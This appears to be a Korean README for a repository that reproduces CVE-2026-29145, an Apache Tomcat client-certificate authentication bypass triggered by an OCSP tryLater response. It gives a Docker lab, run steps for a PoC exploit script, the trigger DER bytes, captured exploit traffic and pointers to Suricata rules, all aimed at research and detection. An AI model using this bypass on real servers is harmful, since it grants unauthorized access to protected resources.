
CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP 소프트 실패 우회를 위한 재현 가능한 PoC 환경. 익스플로잇 스크립트, 모의 OCSP 응답기, Suricata 탐지 규칙 포함.
Apache Tomcat CLIENT_CERT + OCSP soft-fail 우회 완전 재현 환경, 익스플로잇 트래픽 패킷, 그리고 Suricata 탐지 규칙 작성 자료입니다.
승인된 보안 연구 및 탐지 규칙 개발용으로만 사용하세요. 승인되지 않은 시스템에는 사용하지 마십시오.
| 항목 | 설명 |
|---|---|
| CVE | CVE-2026-29145 |
| 구성 요소 | Apache Tomcat / Tomcat Native |
| 유형 | 인증 우회 (mTLS / CLIENT_CERT) |
| CVSS | 9.1 (NVD) / Moderate (Apache) |
| 영향을 받는 버전 | Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13 등 |
| 수정 버전 | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+ |
Tomcat에서 CLIENT_CERT와 OCSP를 활성화하고 **ocspSoftFail=false(하드 실패)**로 설정한 경우, 일부 OCSP 실패 경로(특히 응답 상태 tryLater)가 여전히 하드 실패로 처리되지 않아 차단되어야 할 클라이언트 인증서가 수락되고 보호된 리소스에 접근할 수 있습니다.
공식 수정(예: Tomcat 커밋 fe26667c)에서는 OCSP TRY_LATER에 대한 FFM 경로 처리를 Tomcat Native와 일치시켰습니다.
Tomcat 10.1.52 + Tomcat Native 2.0.12 환경에서:
핵심: RFC 6960의 tryLater를 반환해야 함. HTTP 500만으로는 이 환경에서 우회가 발생하지 않습니다.
CVE-2026-29145-Everything/
├── README.md # 이 파일
├── REPRODUCTION.md # 상세 재현 노트 및 Suricata 힌트
├── docker-compose.yml # 취약한 Tomcat + Mock OCSP
├── poc_exploit.py # 익스플로잇/탐지 스크립트 (exit 10 = 취약)
├── simple_proxy_fail.py # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh # CA / 서버 / 클라이언트 인증서 생성 (OCSP AIA 포함)
├── capture_exploit.sh # 한 번에 익스플로잇 및 패킷 캡처
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # CLIENT-CERT 사용자 매핑
│ ├── ROOT/ # 공식 이미지 기본 ROOT의 최소 패치
│ └── protected/ # 보호된 리소스 + web.xml (CLIENT-CERT)
└── pcaps/ # ★ 이미 캡처된 익스플로잇 트래픽 (규칙 작성용)
├── CVE-2026-29145-mtls-and-ocsp.pcap # 메인 패킷: mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # OCSP 평문만
├── CVE-2026-29145-mtls-only.pcap # 8443 TLS만
└── exploit_response.html # 익스플로잇 성공 응답 스냅샷
인증서 개인 키 디렉터리 certs/는 기본적으로 .gitignore에 의해 무시되므로 로컬에서 생성해야 합니다.
pip install -r requirements.txt 또는 시스템 python3-requests)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. 인증서 생성 (AIA는 Docker 내 OCSP 서비스 이름을 가리킴)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. 환경 시작 (기본 OCSP_MODE=try_later)
docker compose up -d
# healthy 상태까지 대기
docker compose ps
# 3. PoC 실행
python3 poc_exploit.py
# 예상 출력:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 종료 코드 10 = 취약; 0 = 익스플로잇 불가/패치됨
수동 확인:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# pcaps/CVE-2026-29145-*.pcap에 출력
저장소에는 이미 성공적인 익스플로잇 pcap이 포함되어 있어 Suricata 규칙 검증에 바로 사용할 수 있으며, 다시 캡처할 필요가 없습니다.
# tryLater — CVE 트리거 경로 (기본)
OCSP_MODE=try_later docker compose up -d --force-recreate
# HTTP 500 실패 (이 환경에서는 하드 실패로 거부)
OCSP_MODE=fail docker compose up -d --force-recreate
# OCSP 성공 모의 (본문은 실제 DER이 아님, 연결 테스트용)
OCSP_MODE=succeed docker compose up -d --force-recreate
# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate
중요: 8443은 TLS 1.3 암호화된 mTLS이므로 Wireshark로 열면 깨진 데이터처럼 보입니다.
8888의 OCSP는 평문 HTTP이므로 규칙 작성 시 OCSP를 우선적으로 살펴보세요.
전체 설명은 **pcaps/README.md**를 참조하세요.
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark: 환경 설정 → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
자세한 내용은 REPRODUCTION.md 및 pcaps/README.md를 참조하세요.
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
애플리케이션 계층 CLIENT-CERT는 tomcat/protected/WEB-INF/web.xml을 참조하세요.
ocspSoftFail 정책과 OCSP 접근 가능성을 재검토하고, 접근 불가/tryLater 동작에 대한 회귀 테스트 수행./cleanup.sh
# 또는
docker compose down -v
CVE-2026-29145-Tester (본 저장소는 재현 가능한 구성과 tryLater 경로에 대해 보강 및 전체 기록을 추가했습니다)이 프로젝트는 교육, 승인된 침투 테스트 및 침입 탐지 규칙 개발 목적으로만 사용됩니다. 사용자는 대상 시스템에 대한 합법적인 권한이 있는지 확인해야 합니다. 작성자는 어떠한 오용 행위에 대해서도 책임을 지지 않습니다.
| OCSP 동작 | ocspSoftFail | 결과 |
|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — 우회 성공 |
| HTTP 500 | false | TLS 거부 (하드 실패 적용) |
| OCSP 시간 초과 | false | TLS 거부 |
| 모든 실패 | true | 200 (예상된 soft-fail) |
| 파일 | 설명 |
|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | 복호화 가능한 전체 세션 |
pcaps/CVE-2026-29145-ocsp-only.pcap | 평문 OCSP (키 불필요) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | OCSP HTTP 읽기 쉬운 텍스트 |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | 복호화된 비즈니스 HTTP 텍스트 |
rules/cve-2026-29145.rules | 예제 Suricata 규칙 |